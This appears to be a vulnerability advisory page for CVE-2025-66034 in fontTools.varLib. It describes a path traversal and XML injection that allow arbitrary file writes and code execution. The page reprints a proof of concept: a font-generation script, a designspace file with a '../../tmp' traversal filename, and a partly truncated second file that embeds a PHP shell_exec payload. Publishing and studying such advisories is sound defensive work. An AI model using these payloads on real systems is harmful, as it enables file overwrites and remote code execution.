Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2025-66034 — fonttools

🟡 CVSS 6.3 — Medium ⚠️ Exploit Public CWE-91 OSV
6.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib

Summary

The fonttools varLib (or python3 -m fontTools.varLib) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the main() code path of fontTools.varLib, used by the fonttools varLib CLI and any code that invokes fontTools.varLib.main().

The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting /etc/passwd).

Overall this allows attackers to:

  • Write font files to arbitrary locations on the filesystem
  • Overwrite configuration files
  • Corrupt application files and dependencies
  • Obtain remote code execution

The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means.

Affected Lines

fontTools/varLib/__init__.py

```python

filename = vf.filename # Unsanitised filename

output_path = os.path.join(output_dir, filename) # Path traversal

vf.save(output_path) # Arbitrary file write

```

PoC

1. Set up malicious.designspace and respective source-*.ttf files in a directory like /Users/<username>/testing/demo/ (will impact relative file location within malicious.designspace)

setup.py

```python

#!/usr/bin/env python3

import os

from fontTools.fontBuilder import FontBuilder

from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):

fb = FontBuilder(unitsPerEm=1000, isTTF=True)

fb.setupGlyphOrder([".notdef"])

fb.setupCharacterMap({})

pen = TTGlyphPen(None)

pen.moveTo((0, 0))

pen.lineTo((500, 0))

pen.lineTo((500, 500))

pen.lineTo((0, 500))

pen.closePath()

fb.setupGlyf({".notdef": pen.glyph()})

fb.setupHorizontalMetrics({".notdef": (500, 0)})

fb.setupHorizontalHeader(ascent=800, descent=-200)

fb.setupOS2(usWeightClass=weight)

fb.setupPost()

fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})

fb.save(filename)

if __name__ == '__main__':

os.chdir(os.path.dirname(os.path.abspath(__file__)))

create_source_font("source-light.ttf", weight=100)

create_source_font("source-regular.ttf", weight=400)

```

malicious.designspace

```xml

<?xml version='1.0' encoding='UTF-8'?>

<designspace format="5.0">

<axes>

<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>

</axes>

<sources>

<source filename="source-light.ttf" name="Light">

<location>

<dimension name="Weight" xvalue="100"/>

</location>

</source>

<source filename="source-regular.ttf" name="Regular">

<location>

<dimension name="Weight" xvalue="400"/>

</location>

</source>

</sources>

<!-- Filename can be arbitrarily set to any path on the filesystem -->

<variable-fonts>

<variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json">

<axis-subsets>

<axis-subset name="Weight"/>

</axis-subsets>

</variable-font>

</variable-fonts>

</designspace>

```

Optional: You can put a file with any material within ../../tmp/newarbitraryfile.json in advance, the contents in the file will be overwritten after running the setup script in the following step.

2. Run the setup.py script to generate source-*.tff files required for the malicious.designspace file.

```bash

python3 setup.py

```

3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename

```bash

fonttools varLib malicious.designspace

```

4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace

```bash

cat {{filename_location}}

```

5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload.

malicious2.designspace

```xml

<?xml version='1.0' encoding='UTF-8'?>

<designspace format="5.0">

<axes>

<!-- XML injection occurs in labelname elements with CDATA sections -->

<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">

<labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname>

<labelname xml:lang="fr">MEOW2</labelname>

</axis>

</axes>

<axis tag="wght" name="Weight" minimum="100" maximum="900" defau

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is high, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality none, integrity high, availability low.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L

  • Attack vector: Local — a local account, shell or session on the host is needed.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: Low — limited, and the attacker does not choose what is affected.

Weakness class

CVE-2025-66034 is classified as CWE-91: XML Injection. Untrusted data is inserted into an XML document or query, changing its structure rather than only its content.

Affected software

CVE-2025-66034 is recorded against 1 package.

  • fonttools (from 4.33.0 up to 4.60.2)

Timeline and source

Published on 7 July 2026. A public exploit is known to exist, which raises the urgency of patching considerably. A vendor advisory or fix has been published. Record sourced from OSV.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
pypi.org (Package)
github.com (Advisory)

Other advisories for this package

fonttools has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-91: XML Injection) in other software:

CVE-2025-66034 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity MEDIUM
CVSS Score 6.3
CVSS Vector CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:N/I:H/A:L
CWE CWE-91
Public Exploit ⚠️ Yes
Source OSV
Published 2026-07-07
Updated 2026-08-20
Modified 2026-07-07

Affected Packages

Software From version Fixed in
fonttools 4.33.0 4.60.2

Similar Threats

Exploit Protection

Are you running fonttools?

CVE-2025-66034 carries CVSS 6.3 Medium rating and a public exploit already exists. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2025-66034 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2025